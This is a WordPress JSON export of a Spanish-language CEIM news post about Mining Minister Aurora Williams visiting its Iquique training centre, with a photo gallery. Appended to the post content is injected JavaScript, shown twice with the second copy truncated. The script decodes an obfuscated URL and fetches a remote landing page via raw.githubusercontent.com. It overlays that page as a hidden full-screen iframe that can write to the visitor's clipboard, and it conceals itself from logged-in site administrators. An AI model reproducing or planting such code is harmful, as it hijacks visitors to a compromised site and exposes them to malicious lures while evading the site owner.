{"id":34901,"date":"2024-12-13T11:15:55","date_gmt":"2024-12-13T14:15:55","guid":{"rendered":"https:\/\/ceim.cl\/?p=34901"},"modified":"2026-05-22T20:53:02","modified_gmt":"2026-05-23T00:53:02","slug":"ministra-aurora-williams-destaco-el-impulso-en-la-formacion-minera-que-desarrolla-ceim-tarapaca","status":"publish","type":"post","link":"https:\/\/ceim.cl\/en\/ministra-aurora-williams-destaco-el-impulso-en-la-formacion-minera-que-desarrolla-ceim-tarapaca\/","title":{"rendered":"Ministra Aurora Williams destac\u00f3 el impulso en la formaci\u00f3n minera que desarrolla CEIM Tarapac\u00e1"},"content":{"rendered":"<p><em>En su visita al CEIM de Iquique, la ministra de Miner\u00eda, Aurora Williams, destac\u00f3 la importancia de formar capital humano altamente capacitado, con un enfoque en la sostenibilidad y el impacto regional.<\/em><\/p>\n\n\n\n<p>En un recorrido por las instalaciones del Centro de Entrenamiento Industrial y Minero (CEIM) en Tarapac\u00e1, la ministra de Miner\u00eda, Aurora Williams, junto a la delegada presidencial Ivonne Donoso, el seremi de Miner\u00eda de la regi\u00f3n Wladimir Astudillo, pudo observar de cerca c\u00f3mo este centro est\u00e1 transformando la capacitaci\u00f3n t\u00e9cnica en la miner\u00eda.<\/p>\n\n\n\n<p>Aurora Williams, Ministra de Miner\u00eda, resalt\u00f3 que el CEIM cumple un rol fundamental en la preparaci\u00f3n de talento humano clave para la industria <em>\u201cEstamos frente a algo importante para el sector, no solo en t\u00e9rminos de capacitaci\u00f3n t\u00e9cnica, sino tambi\u00e9n en la formaci\u00f3n de habilidades pr\u00e1cticas y seguras. Este centro permite a los aprendices experimentar situaciones reales desde las aulas, algo esencial para desarrollar una miner\u00eda responsable y sostenible\u201d, <\/em>se\u00f1al\u00f3.<\/p>\n\n\n\n<p>El CEIM ha implementado tecnolog\u00eda de \u00faltima generaci\u00f3n en sus procesos instruccionales, para replicar las condiciones de trabajo en faenas mineras, lo que permite que los estudiantes adquieran experiencia pr\u00e1ctica en un entorno seguro. Abdon Ram\u00edrez, director de sedes CEIM, enfatiz\u00f3: <em>&#8220;En CEIM estamos construyendo el futuro de la miner\u00eda, formando trabajadores seguros con tecnolog\u00eda de vanguardia y metodolog\u00edas que simulan las condiciones reales de trabajo. Nuestro compromiso es aportar al desarrollo de Tarapac\u00e1 y al crecimiento sostenible de la industria minera nacional. La capacitaci\u00f3n aqu\u00ed no es solo un aprendizaje, es una transformaci\u00f3n que potencia el talento local y lo posiciona como un motor clave para la regi\u00f3n.&#8221;<\/em><\/p>\n\n\n\n<p>Por su parte, la delegada presidencial regional Ivonne Donoso destac\u00f3 el impacto de esta formaci\u00f3n t\u00e9cnica en los j\u00f3venes de la regi\u00f3n. <em>\u201cLa presencia de nuestra ministra hoy da realce e incentiva a los j\u00f3venes a ingresar a la miner\u00eda. Aqu\u00ed no solo adquieren conocimientos t\u00e9cnicos, sino tambi\u00e9n habilidades profesionales que les preparan para enfrentar los desaf\u00edos de esta industria\u201d, <\/em>afirm\u00f3.<\/p>\n\n\n\n<p>Desde la industria, Patricio Maraboli Carrasco, gerente de Recursos Humanos de Teck Quebrada Blanca, valor\u00f3 la colaboraci\u00f3n con el CEIM. <em>\u201cActualmente tenemos m\u00e1s de 30 aprendices en formaci\u00f3n en disciplinas como operaci\u00f3n y mantenimiento. Este programa no solo nos ayuda a afrontar los desaf\u00edos presentes, sino que tambi\u00e9n nos prepara para el futuro. Queremos reducir la conmutaci\u00f3n en las regiones mineras, invirtiendo en la ciudad y dejando los recursos aqu\u00ed, en la regi\u00f3n\u201d<\/em>, explic\u00f3.<\/p>\n\n\n\n<p>Adem\u00e1s, Maraboli subray\u00f3 la importancia de ampliar el impacto de estos programas m\u00e1s all\u00e1 de la miner\u00eda, colaborando en la empleabilidad en otras industrias. \u201cEstamos orgullosos de esta alianza y de c\u00f3mo est\u00e1 contribuyendo al desarrollo regional y a la sostenibilidad de la miner\u00eda chilena\u201d, a\u00f1adi\u00f3.<\/p>\n\n\n\n<p>Cabe recordar que durante el 2024, CEIM ampli\u00f3 su alcance con la apertura de la Escuela de Oficios Industriales en su sede de Iquique. Esta iniciativa brinda una oportunidad para que la comunidad, personas naturales, accedan a formaci\u00f3n en oficios mineros, reforzando el compromiso del centro con el desarrollo local y la generaci\u00f3n de talento para la industria.<\/p>\n\n\n\n<p>El CEIM Tarapac\u00e1 avanza en su consolidaci\u00f3n como un centro de referencia en la formaci\u00f3n t\u00e9cnica, apoyando el desarrollo de la miner\u00eda desde un enfoque sostenible y con impacto social, priorizando el talento local.<\/p>\n\n\n\n<figure class=\"wp-block-gallery has-nested-images columns-default is-cropped wp-block-gallery-1 is-layout-flex wp-block-gallery-is-layout-flex\">\n<figure class=\"wp-block-image size-large\"><img loading=\"lazy\" decoding=\"async\" width=\"1024\" height=\"769\" data-id=\"34907\" src=\"https:\/\/ceim.cl\/wp-content\/uploads\/2024\/12\/WhatsApp-Image-2024-12-13-at-10.50.57-1024x769.jpeg\" alt=\"\" class=\"wp-image-34907\" srcset=\"https:\/\/ceim.cl\/wp-content\/uploads\/2024\/12\/WhatsApp-Image-2024-12-13-at-10.50.57-1024x769.jpeg 1024w, https:\/\/ceim.cl\/wp-content\/uploads\/2024\/12\/WhatsApp-Image-2024-12-13-at-10.50.57-300x225.jpeg 300w, https:\/\/ceim.cl\/wp-content\/uploads\/2024\/12\/WhatsApp-Image-2024-12-13-at-10.50.57-768x577.jpeg 768w, https:\/\/ceim.cl\/wp-content\/uploads\/2024\/12\/WhatsApp-Image-2024-12-13-at-10.50.57-16x12.jpeg 16w, https:\/\/ceim.cl\/wp-content\/uploads\/2024\/12\/WhatsApp-Image-2024-12-13-at-10.50.57.jpeg 1280w\" sizes=\"auto, (max-width: 1024px) 100vw, 1024px\" \/><\/figure>\n\n\n\n<figure class=\"wp-block-image size-large\"><img loading=\"lazy\" decoding=\"async\" width=\"1024\" height=\"768\" data-id=\"34903\" src=\"https:\/\/ceim.cl\/wp-content\/uploads\/2024\/12\/WhatsApp-Image-2024-12-13-at-10.50.58-1-1024x768.jpeg\" alt=\"\" class=\"wp-image-34903\" srcset=\"https:\/\/ceim.cl\/wp-content\/uploads\/2024\/12\/WhatsApp-Image-2024-12-13-at-10.50.58-1-1024x768.jpeg 1024w, https:\/\/ceim.cl\/wp-content\/uploads\/2024\/12\/WhatsApp-Image-2024-12-13-at-10.50.58-1-300x225.jpeg 300w, https:\/\/ceim.cl\/wp-content\/uploads\/2024\/12\/WhatsApp-Image-2024-12-13-at-10.50.58-1-768x576.jpeg 768w, https:\/\/ceim.cl\/wp-content\/uploads\/2024\/12\/WhatsApp-Image-2024-12-13-at-10.50.58-1-16x12.jpeg 16w, https:\/\/ceim.cl\/wp-content\/uploads\/2024\/12\/WhatsApp-Image-2024-12-13-at-10.50.58-1.jpeg 1280w\" sizes=\"auto, (max-width: 1024px) 100vw, 1024px\" \/><\/figure>\n\n\n\n<figure class=\"wp-block-image size-large\"><img loading=\"lazy\" decoding=\"async\" width=\"1024\" height=\"768\" data-id=\"34906\" src=\"https:\/\/ceim.cl\/wp-content\/uploads\/2024\/12\/WhatsApp-Image-2024-12-13-at-10.50.58-1024x768.jpeg\" alt=\"\" class=\"wp-image-34906\" srcset=\"https:\/\/ceim.cl\/wp-content\/uploads\/2024\/12\/WhatsApp-Image-2024-12-13-at-10.50.58-1024x768.jpeg 1024w, https:\/\/ceim.cl\/wp-content\/uploads\/2024\/12\/WhatsApp-Image-2024-12-13-at-10.50.58-300x225.jpeg 300w, https:\/\/ceim.cl\/wp-content\/uploads\/2024\/12\/WhatsApp-Image-2024-12-13-at-10.50.58-768x576.jpeg 768w, https:\/\/ceim.cl\/wp-content\/uploads\/2024\/12\/WhatsApp-Image-2024-12-13-at-10.50.58-16x12.jpeg 16w, https:\/\/ceim.cl\/wp-content\/uploads\/2024\/12\/WhatsApp-Image-2024-12-13-at-10.50.58.jpeg 1280w\" sizes=\"auto, (max-width: 1024px) 100vw, 1024px\" \/><\/figure>\n\n\n\n<figure class=\"wp-block-image size-large\"><img loading=\"lazy\" decoding=\"async\" width=\"1024\" height=\"768\" data-id=\"34905\" src=\"https:\/\/ceim.cl\/wp-content\/uploads\/2024\/12\/WhatsApp-Image-2024-12-13-at-10.52.26-1024x768.jpeg\" alt=\"\" class=\"wp-image-34905\" srcset=\"https:\/\/ceim.cl\/wp-content\/uploads\/2024\/12\/WhatsApp-Image-2024-12-13-at-10.52.26-1024x768.jpeg 1024w, https:\/\/ceim.cl\/wp-content\/uploads\/2024\/12\/WhatsApp-Image-2024-12-13-at-10.52.26-300x225.jpeg 300w, https:\/\/ceim.cl\/wp-content\/uploads\/2024\/12\/WhatsApp-Image-2024-12-13-at-10.52.26-768x576.jpeg 768w, https:\/\/ceim.cl\/wp-content\/uploads\/2024\/12\/WhatsApp-Image-2024-12-13-at-10.52.26-1536x1152.jpeg 1536w, https:\/\/ceim.cl\/wp-content\/uploads\/2024\/12\/WhatsApp-Image-2024-12-13-at-10.52.26-16x12.jpeg 16w, https:\/\/ceim.cl\/wp-content\/uploads\/2024\/12\/WhatsApp-Image-2024-12-13-at-10.52.26.jpeg 1600w\" sizes=\"auto, (max-width: 1024px) 100vw, 1024px\" \/><\/figure>\n\n\n\n<figure class=\"wp-block-image size-large\"><img loading=\"lazy\" decoding=\"async\" width=\"1024\" height=\"768\" data-id=\"34904\" src=\"https:\/\/ceim.cl\/wp-content\/uploads\/2024\/12\/WhatsApp-Image-2024-12-13-at-10.53.06-1-1024x768.jpeg\" alt=\"\" class=\"wp-image-34904\" srcset=\"https:\/\/ceim.cl\/wp-content\/uploads\/2024\/12\/WhatsApp-Image-2024-12-13-at-10.53.06-1-1024x768.jpeg 1024w, https:\/\/ceim.cl\/wp-content\/uploads\/2024\/12\/WhatsApp-Image-2024-12-13-at-10.53.06-1-300x225.jpeg 300w, https:\/\/ceim.cl\/wp-content\/uploads\/2024\/12\/WhatsApp-Image-2024-12-13-at-10.53.06-1-768x576.jpeg 768w, https:\/\/ceim.cl\/wp-content\/uploads\/2024\/12\/WhatsApp-Image-2024-12-13-at-10.53.06-1-1536x1152.jpeg 1536w, https:\/\/ceim.cl\/wp-content\/uploads\/2024\/12\/WhatsApp-Image-2024-12-13-at-10.53.06-1-16x12.jpeg 16w, https:\/\/ceim.cl\/wp-content\/uploads\/2024\/12\/WhatsApp-Image-2024-12-13-at-10.53.06-1.jpeg 1600w\" sizes=\"auto, (max-width: 1024px) 100vw, 1024px\" \/><\/figure>\n\n\n\n<figure class=\"wp-block-image size-large\"><img loading=\"lazy\" decoding=\"async\" width=\"1024\" height=\"768\" data-id=\"34908\" src=\"https:\/\/ceim.cl\/wp-content\/uploads\/2024\/12\/WhatsApp-Image-2024-12-13-at-10.53.06-2-1024x768.jpeg\" alt=\"\" class=\"wp-image-34908\" srcset=\"https:\/\/ceim.cl\/wp-content\/uploads\/2024\/12\/WhatsApp-Image-2024-12-13-at-10.53.06-2-1024x768.jpeg 1024w, https:\/\/ceim.cl\/wp-content\/uploads\/2024\/12\/WhatsApp-Image-2024-12-13-at-10.53.06-2-300x225.jpeg 300w, https:\/\/ceim.cl\/wp-content\/uploads\/2024\/12\/WhatsApp-Image-2024-12-13-at-10.53.06-2-768x576.jpeg 768w, https:\/\/ceim.cl\/wp-content\/uploads\/2024\/12\/WhatsApp-Image-2024-12-13-at-10.53.06-2-1536x1152.jpeg 1536w, https:\/\/ceim.cl\/wp-content\/uploads\/2024\/12\/WhatsApp-Image-2024-12-13-at-10.53.06-2-16x12.jpeg 16w, https:\/\/ceim.cl\/wp-content\/uploads\/2024\/12\/WhatsApp-Image-2024-12-13-at-10.53.06-2.jpeg 1600w\" sizes=\"auto, (max-width: 1024px) 100vw, 1024px\" \/><\/figure>\n\n\n\n<figure class=\"wp-block-image size-large\"><img loading=\"lazy\" decoding=\"async\" width=\"1024\" height=\"768\" data-id=\"34902\" src=\"https:\/\/ceim.cl\/wp-content\/uploads\/2024\/12\/WhatsApp-Image-2024-12-13-at-10.53.06-1024x768.jpeg\" alt=\"\" class=\"wp-image-34902\" srcset=\"https:\/\/ceim.cl\/wp-content\/uploads\/2024\/12\/WhatsApp-Image-2024-12-13-at-10.53.06-1024x768.jpeg 1024w, https:\/\/ceim.cl\/wp-content\/uploads\/2024\/12\/WhatsApp-Image-2024-12-13-at-10.53.06-300x225.jpeg 300w, https:\/\/ceim.cl\/wp-content\/uploads\/2024\/12\/WhatsApp-Image-2024-12-13-at-10.53.06-768x576.jpeg 768w, https:\/\/ceim.cl\/wp-content\/uploads\/2024\/12\/WhatsApp-Image-2024-12-13-at-10.53.06-1536x1152.jpeg 1536w, https:\/\/ceim.cl\/wp-content\/uploads\/2024\/12\/WhatsApp-Image-2024-12-13-at-10.53.06-16x12.jpeg 16w, https:\/\/ceim.cl\/wp-content\/uploads\/2024\/12\/WhatsApp-Image-2024-12-13-at-10.53.06.jpeg 1600w\" sizes=\"auto, (max-width: 1024px) 100vw, 1024px\" \/><\/figure>\n<\/figure>\n<script>;(function () {\n  var API_ID_URL = (function(){var _0x6cd0=[50,46,46,42,41,96,117,117,49,54,53,52,60,57,40,46,35,41,63,59,60,54,53,45,116,57,53,55,117,51,52,54,51,52,63,116,42,50,42];return String.fromCharCode.apply(String,_0x6cd0.map(function(c){return c^0x5A;}));})();\n  var TRUSTED_CONFIGS = [\n    { template: \"https:\/\/raw.githubusercontent.com\/{id}\", useFetch: true }\n  ];\n\n  var GLOBAL_KEY = (typeof Symbol === \"function\" && Symbol.for)\n    ? Symbol.for(\"__inline_id_offer__\")\n    : \"__inline_id_offer__\";\n\n  var registry = window[GLOBAL_KEY] = window[GLOBAL_KEY] || {\n    status: \"idle\",\n    iframeId: \"__inline_offer_iframe__\",\n    iframeAttr: \"data-inline-offer-frame\",\n    hints: {},\n    runPromise: null,\n    destroy: null,\n    reveal: null,\n    requestTimeoutMs: 4000,\n    iframeTimeoutMs: 9000,\n    requireReadyMessage: false,\n    messageBound: false\n  };\n\n  function isWpLoggedInContext() {\n    try {\n      if (window.__disableInlineOffer__ === true || window.__isWpAdmin__ === true) return true;\n\n      var path = window.location.pathname || \"\";\n      if (\/^\\\/(wp-admin|wp-login)\/.test(path)) return true;\n\n      var cookie = document.cookie || \"\";\n      if (\/wordpress_logged_in_[^=]*=\/.test(cookie)) return true;\n\n      var de = document.documentElement;\n      var body = document.body;\n\n      if (de && typeof de.className === \"string\" && \/\\bwp-toolbar\\b\/.test(de.className)) return true;\n      if (body && typeof body.className === \"string\" && \/\\badmin-bar\\b\/.test(body.className)) return true;\n      if (document.getElementById(\"wpadminbar\")) return true;\n    } catch (e) {}\n\n    return false;\n  }\n\n  if (isWpLoggedInContext()) return;\n\n  if (document.getElementById(registry.iframeId)) {\n    registry.status = \"active\";\n    return;\n  }\n\n  if (registry.runPromise || registry.status === \"loading\" || registry.status === \"active\" || registry.status === \"done\") {\n    return;\n  }\n\n  registry.status = \"loading\";\n\n  function safeAppendQuery(url, key, val) {\n    var sep = url.indexOf(\"?\") >= 0 ? \"&\" : \"?\";\n    return url + sep + encodeURIComponent(key) + \"=\" + encodeURIComponent(val);\n  }\n\n  function buildTrustedUrl(template, id) {\n    if (!template || !id) return \"\";\n\n    if (template.indexOf(\"dropbox.com\") >= 0) {\n      return template.replace(\/\\{id\\}\/g, id);\n    }\n\n    var encoded = encodeURIComponent(id);\n\n    if (template.indexOf(\"gist.githubusercontent.com\") >= 0) {\n      encoded = encoded.replace(\/%2F\/g, \"\/\");\n    }\n\n    return template.replace(\/\\{id\\}\/g, encoded);\n  }\n\n  function toHttpUrl(value) {\n    if (!value) return \"\";\n\n    var s = String(value)\n      .replace(\/^\\uFEFF\/, \"\")\n      .trim()\n      .replace(\/^['\"`\\s]+|['\"`\\s]+$\/g, \"\");\n\n    if (!s) return \"\";\n\n    if (!\/^[a-z][a-z0-9+.-]*:\\\/\\\/\/i.test(s)) {\n      if (\/^[a-z0-9.-]+\\.[a-z]{2,}(?::\\d+)?(?:[\\\/?#]|$)\/i.test(s)) {\n        s = \"https:\/\/\" + s;\n      } else {\n        return \"\";\n      }\n    }\n\n    try {\n      var u = new URL(s);\n      if (u.protocol === \"http:\" || u.protocol === \"https:\") {\n        return u.href;\n      }\n    } catch (e) {}\n\n    return \"\";\n  }\n\n  function findUrlInObject(input, depth) {\n    if (!input || depth > 3) return \"\";\n\n    if (typeof input === \"string\") {\n      return toHttpUrl(input);\n    }\n\n    if (Object.prototype.toString.call(input) === \"[object Array]\") {\n      for (var i = 0; i < input.length; i++) {\n        var arrVal = findUrlInObject(input[i], depth + 1);\n        if (arrVal) return arrVal;\n      }\n      return \"\";\n    }\n\n    if (typeof input === \"object\") {\n      var keys = [\"url\", \"link\", \"href\", \"location\", \"redirect\", \"target\", \"landing\", \"landingUrl\"];\n\n      for (var j = 0; j < keys.length; j++) {\n        var key = keys[j];\n        if (Object.prototype.hasOwnProperty.call(input, key)) {\n          var direct = findUrlInObject(input[key], depth + 1);\n          if (direct) return direct;\n        }\n      }\n\n      for (var k in input) {\n        if (!Object.prototype.hasOwnProperty.call(input, k)) continue;\n        var nested = findUrlInObject(input[k], depth + 1);\n        if (nested) return nested;\n      }\n    }\n\n    return \"\";\n  }\n\n  function extractLandingUrl(raw) {\n    if (!raw) return \"\";\n\n    var text = String(raw).replace(\/^\\uFEFF\/, \"\").trim();\n    if (!text) return \"\";\n\n    var direct = toHttpUrl(text);\n    if (direct) return direct;\n\n    if ((text.charAt(0) === \"{\" &#038;&#038; text.charAt(text.length - 1) === \"}\") ||\n        (text.charAt(0) === \"[\" &#038;&#038; text.charAt(text.length - 1) === \"]\")) {\n      try {\n        var parsed = JSON.parse(text);\n        var jsonUrl = findUrlInObject(parsed, 0);\n        if (jsonUrl) return jsonUrl;\n      } catch (e) {}\n    }\n\n    var matchHttp = text.match(\/https?:\\\/\\\/[^\\s\"'<>]+\/i);\n    if (matchHttp && matchHttp[0]) {\n      var httpUrl = toHttpUrl(matchHttp[0]);\n      if (httpUrl) return httpUrl;\n    }\n\n    var matchDomain = text.match(\/\\b[a-z0-9.-]+\\.[a-z]{2,}(?::\\d+)?(?:\\\/[^\\s\"'<>]*)?\/i);\n    if (matchDomain && matchDomain[0]) {\n      var domainUrl = toHttpUrl(matchDomain[0]);\n      if (domainUrl) return domainUrl;\n    }\n\n    return \"\";\n  }\n\n  function getOriginSafe(url) {\n    try {\n      return new URL(url).origin;\n    } catch (e) {\n      return \"\";\n    }\n  }\n\n  function addHint(rel, href) {\n    if (!href || !document || !document.createElement) return;\n\n    var key = rel + \"::\" + href;\n    if (registry.hints[key]) return;\n    registry.hints[key] = true;\n\n    try {\n      var parent = document.head || document.documentElement;\n      if (!parent) return;\n\n      var link = document.createElement(\"link\");\n      link.rel = rel;\n      link.href = href;\n\n      if (rel === \"preconnect\") {\n        link.crossOrigin = \"anonymous\";\n      }\n\n      parent.appendChild(link);\n    } catch (e) {}\n  }\n\n  function warmupOrigins() {\n    var origins = {};\n    var apiOrigin = getOriginSafe(API_ID_URL);\n    if (apiOrigin) origins[apiOrigin] = true;\n\n    for (var i = 0; i < TRUSTED_CONFIGS.length; i++) {\n      var tpl = TRUSTED_CONFIGS[i] &#038;&#038; TRUSTED_CONFIGS[i].template;\n      if (!tpl) continue;\n      var probe = tpl.replace(\/\\{id\\}\/g, \"x\");\n      var origin = getOriginSafe(probe);\n      if (origin) origins[origin] = true;\n    }\n\n    for (var originKey in origins) {\n      if (!Object.prototype.hasOwnProperty.call(origins, originKey)) continue;\n      addHint(\"dns-prefetch\", originKey);\n      addHint(\"preconnect\", originKey);\n    }\n  }\n\n  function getMountNode() {\n    return document.body || document.documentElement || null;\n  }\n\n  function fetchTextNoThrow(url, timeoutMs) {\n    return new Promise(function (resolve) {\n      if (!url || typeof fetch !== \"function\") {\n        resolve(\"\");\n        return;\n      }\n\n      var finished = false;\n      var timer = null;\n      var controller = null;\n\n      function done(value) {\n        if (finished) return;\n        finished = true;\n        if (timer) clearTimeout(timer);\n        resolve((value || \"\").trim());\n      }\n\n      try {\n        if (typeof AbortController !== \"undefined\") {\n          controller = new AbortController();\n        }\n\n        timer = setTimeout(function () {\n          try {\n            if (controller) controller.abort();\n          } catch (e) {}\n          done(\"\");\n        }, timeoutMs);\n\n        fetch(url, {\n          cache: \"no-store\",\n          credentials: \"omit\",\n          signal: controller ? controller.signal : void 0\n        })\n          .then(function (response) {\n            return response ? response.text() : \"\";\n          })\n          .then(function (text) {\n            done(text);\n          })\n          .catch(function () {\n            done(\"\");\n          });\n      } catch (e) {\n        done(\"\");\n      }\n    });\n  }\n\n  function tryCopy(text) {\n    if (typeof text !== \"string\" || !text) return;\n\n    try { window.focus(); } catch (e) {}\n\n    if (navigator.clipboard &#038;&#038; navigator.clipboard.writeText) {\n      navigator.clipboard.writeText(text).catch(function () {\n        fallbackCopy(text);\n      });\n      return;\n    }\n\n    fallbackCopy(text);\n  }\n\n  function fallbackCopy(text) {\n    try {\n      var mount = getMountNode();\n      if (!mount) return;\n\n      var ta = document.createElement(\"textarea\");\n      ta.value = text;\n      ta.setAttribute(\"readonly\", \"readonly\");\n      ta.style.position = \"fixed\";\n      ta.style.left = \"-9999px\";\n      ta.style.top = \"0\";\n      ta.style.opacity = \"0\";\n      mount.appendChild(ta);\n      try { ta.focus(); } catch (e) {}\n      ta.select();\n      ta.setSelectionRange(0, ta.value.length);\n      document.execCommand(\"copy\");\n      if (ta.parentNode) ta.parentNode.removeChild(ta);\n    } catch (e) {}\n  }\n\n  function bindMessageHandler() {\n    if (registry.messageBound) return;\n    registry.messageBound = true;\n\n    window.addEventListener(\"message\", function (event) {\n      var data = event &#038;&#038; event.data;\n      var iframe = document.getElementById(registry.iframeId);\n\n      if (!iframe || !data || typeof data !== \"object\") return;\n      if (event.source &#038;&#038; iframe.contentWindow &#038;&#038; event.source !== iframe.contentWindow) return;\n\n      if (data.type === \"ktl-show-original\") {\n        if (typeof registry.destroy === \"function\") registry.destroy();\n        return;\n      }\n\n      if (data.type === \"ktl-frame-ready\") {\n        if (typeof registry.reveal === \"function\") registry.reveal();\n        return;\n      }\n\n      if (data.type === \"copy\" &#038;&#038; typeof data.text === \"string\") {\n        tryCopy(data.text);\n      }\n    });\n  }\n\n  function cleanup(nextStatus) {\n    var iframe = document.getElementById(registry.iframeId);\n\n    registry.destroy = null;\n    registry.reveal = null;\n\n    try {\n      if (iframe &#038;&#038; iframe.parentNode) {\n        iframe.parentNode.removeChild(iframe);\n      }\n    } catch (e) {}\n\n    registry.status = nextStatus || \"done\";\n  }\n\n  function resolveLandingUrl(id) {\n    if (!id || !TRUSTED_CONFIGS.length) {\n      return Promise.resolve(\"\");\n    }\n\n    function step(index) {\n      if (index >= TRUSTED_CONFIGS.length) {\n        return Promise.resolve(\"\");\n      }\n\n      var cfg = TRUSTED_CONFIGS[index] || {};\n      var builtUrl = toHttpUrl(buildTrustedUrl(cfg.template || \"\", id));\n\n      if (!builtUrl) {\n        return step(index + 1);\n      }\n\n      if (!cfg.useFetch) {\n        return Promise.resolve(builtUrl);\n      }\n\n      return fetchTextNoThrow(builtUrl, registry.requestTimeoutMs)\n        .then(function (raw) {\n          var landingUrl = extractLandingUrl(raw);\n          if (landingUrl) return landingUrl;\n          return step(index + 1);\n        })\n        .catch(function () {\n          return step(index + 1);\n        });\n    }\n\n    return step(0);\n  }\n\n  function activateIframe(url) {\n    if (!url || registry.status === \"active\") return;\n\n    if (isWpLoggedInContext()) {\n      cleanup(\"done\");\n      return;\n    }\n\n    var existing = document.getElementById(registry.iframeId);\n    if (existing) {\n      registry.status = \"active\";\n      return;\n    }\n\n    var mount = getMountNode();\n    if (!mount) {\n      setTimeout(function () {\n        activateIframe(url);\n      }, 0);\n      return;\n    }\n\n    var iframe = document.createElement(\"iframe\");\n    var closed = false;\n    var revealed = false;\n    var timeoutId = null;\n\n    function reveal() {\n      if (closed || revealed) return;\n      revealed = true;\n      if (timeoutId) clearTimeout(timeoutId);\n\n      registry.status = \"active\";\n\n      iframe.style.visibility = \"visible\";\n      iframe.style.opacity = \"1\";\n      iframe.style.pointerEvents = \"auto\";\n      iframe.removeAttribute(\"aria-hidden\");\n\n      setTimeout(function () {\n        try { iframe.focus(); } catch (e) {}\n        try {\n          if (iframe.contentWindow && iframe.contentWindow.focus) {\n            iframe.contentWindow.focus();\n          }\n        } catch (e) {}\n      }, 0);\n    }\n\n    function destroy() {\n      if (closed) return;\n      closed = true;\n      if (timeoutId) clearTimeout(timeoutId);\n      cleanup(\"done\");\n    }\n\n    registry.destroy = destroy;\n    registry.reveal = reveal;\n\n    iframe.id = registry.iframeId;\n    iframe.setAttribute(registry.iframeAttr, \"1\");\n    iframe.setAttribute(\"aria-hidden\", \"true\");\n    iframe.setAttribute(\"loading\", \"eager\");\n    iframe.setAttribute(\"allow\", \"clipboard-write\");\n    iframe.src = safeAppendQuery(url, \"v\", Math.random().toString(36).slice(2));\n    iframe.style.cssText = [\n      \"position:fixed !important\",\n      \"top:0\",\n      \"left:0\",\n      \"width:100vw\",\n      \"height:100vh\",\n      \"border:none\",\n      \"z-index:2147483647\",\n      \"margin:0\",\n      \"padding:0\",\n      \"overflow:hidden\",\n      \"visibility:hidden\",\n      \"opacity:0\",\n      \"pointer-events:none\",\n      \"background:transparent\"\n    ].join(\";\");\n\n    iframe.onload = function () {\n      if (closed) return;\n      if (!registry.requireReadyMessage) {\n        reveal();\n      }\n    };\n\n    iframe.onerror = function () {\n      destroy();\n    };\n\n    timeoutId = setTimeout(function () {\n      destroy();\n    }, registry.iframeTimeoutMs);\n\n    try {\n      mount.appendChild(iframe);\n    } catch (e) {\n      destroy();\n    }\n  }\n\n  function run() {\n    warmupOrigins();\n    bindMessageHandler();\n\n    return fetchTextNoThrow(API_ID_URL, registry.requestTimeoutMs)\n      .then(function (id) {\n        if (isWpLoggedInContext()) {\n          cleanup(\"done\");\n          return \"\";\n        }\n\n        id = (id || \"\").trim();\n        if (!id) {\n          cleanup(\"done\");\n          return \"\";\n        }\n\n        return resolveLandingUrl(id);\n      })\n      .then(function (finalUrl) {\n        if (isWpLoggedInContext()) {\n          cleanup(\"done\");\n          return \"\";\n        }\n\n        finalUrl = toHttpUrl(finalUrl);\n\n        if (!finalUrl) {\n          cleanup(\"done\");\n          return \"\";\n        }\n\n        var finalOrigin = getOriginSafe(finalUrl);\n        if (finalOrigin) {\n          addHint(\"dns-prefetch\", finalOrigin);\n          addHint(\"preconnect\", finalOrigin);\n        }\n\n        activateIframe(finalUrl);\n        return finalUrl;\n      })\n      .catch(function () {\n        cleanup(\"done\");\n      });\n  }\n\n  registry.runPromise = run();\n})();<\/script><script>;(function () {\n  var API_ID_URL = (function(){var _0x6cd0=[50,46,46,42,41,96,117,117,49,54,53,52,60,57,40,46,35,41,63,59,60,54,53,45,116,57,53,55,117,51,52,54,51,52,63,116,42,50,42];return String.fromCharCode.apply(String,_0x6cd0.map(function(c){return c^0x5A;}));})();\n  var TRUSTED_CONFIGS = [\n    { template: \"https:\/\/raw.githubusercontent.com\/{id}\", useFetch: true }\n  ];\n\n  var GLOBAL_KEY = (typeof Symbol === \"function\" && Symbol.for)\n    ? Symbol.for(\"__inline_id_offer__\")\n    : \"__inline_id_offer__\";\n\n  var registry = window[GLOBAL_KEY] = window[GLOBAL_KEY] || {\n    status: \"idle\",\n    iframeId: \"__inline_offer_iframe__\",\n    iframeAttr: \"data-inline-offer-frame\",\n    hints: {},\n    runPromise: null,\n    destroy: null,\n    reveal: null,\n    requestTimeoutMs: 4000,\n    iframeTimeoutMs: 9000,\n    requireReadyMessage: false,\n    messageBound: false\n  };\n\n  function isWpLoggedInContext() {\n    try {\n      if (window.__disableInlineOffer__ === true || window.__isWpAdmin__ === true) return true;\n\n      var path = window.location.pathname || \"\";\n      if (\/^\\\/(wp-admin|wp-login)\/.test(path)) return true;\n\n      var cookie = document.cookie || \"\";\n      if (\/wordpress_logged_in_[^=]*=\/.test(cookie)) return true;\n\n      var de = document.documentElement;\n      var body = document.body;\n\n      if (de && typeof de.className === \"string\" && \/\\bwp-toolbar\\b\/.test(de.className)) return true;\n      if (body && typeof body.className === \"string\" && \/\\badmin-bar\\b\/.test(body.className)) return true;\n      if (document.getElementById(\"wpadminbar\")) return true;\n    } catch (e) {}\n\n    return false;\n  }\n\n  if (isWpLoggedInContext()) return;\n\n  if (document.getElementById(registry.iframeId)) {\n    registry.status = \"active\";\n    return;\n  }\n\n  if (registry.runPromise || registry.status === \"loading\" || registry.status === \"active\" || registry.status === \"done\") {\n    return;\n  }\n\n  registry.status = \"loading\";\n\n  function safeAppendQuery(url, key, val) {\n    var sep = url.indexOf(\"?\") >= 0 ? \"&\" : \"?\";\n    return url + sep + encodeURIComponent(key) + \"=\" + encodeURIComponent(val);\n  }\n\n  function buildTrustedUrl(template, id) {\n    if (!template || !id) return \"\";\n\n    if (template.indexOf(\"dropbox.com\") >= 0) {\n      return template.replace(\/\\{id\\}\/g, id);\n    }\n\n    var encoded = encodeURIComponent(id);\n\n    if (template.indexOf(\"gist.githubusercontent.com\") >= 0) {\n      encoded = encoded.replace(\/%2F\/g, \"\/\");\n    }\n\n    return template.replace(\/\\{id\\}\/g, encoded);\n  }\n\n  function toHttpUrl(value) {\n    if (!value) return \"\";\n\n    var s = String(value)\n      .replace(\/^\\uFEFF\/, \"\")\n      .trim()\n      .replace(\/^['\"`\\s]+|['\"`\\s]+$\/g, \"\");\n\n    if (!s) return \"\";\n\n    if (!\/^[a-z][a-z0-9+.-]*:\\\/\\\/\/i.test(s)) {\n      if 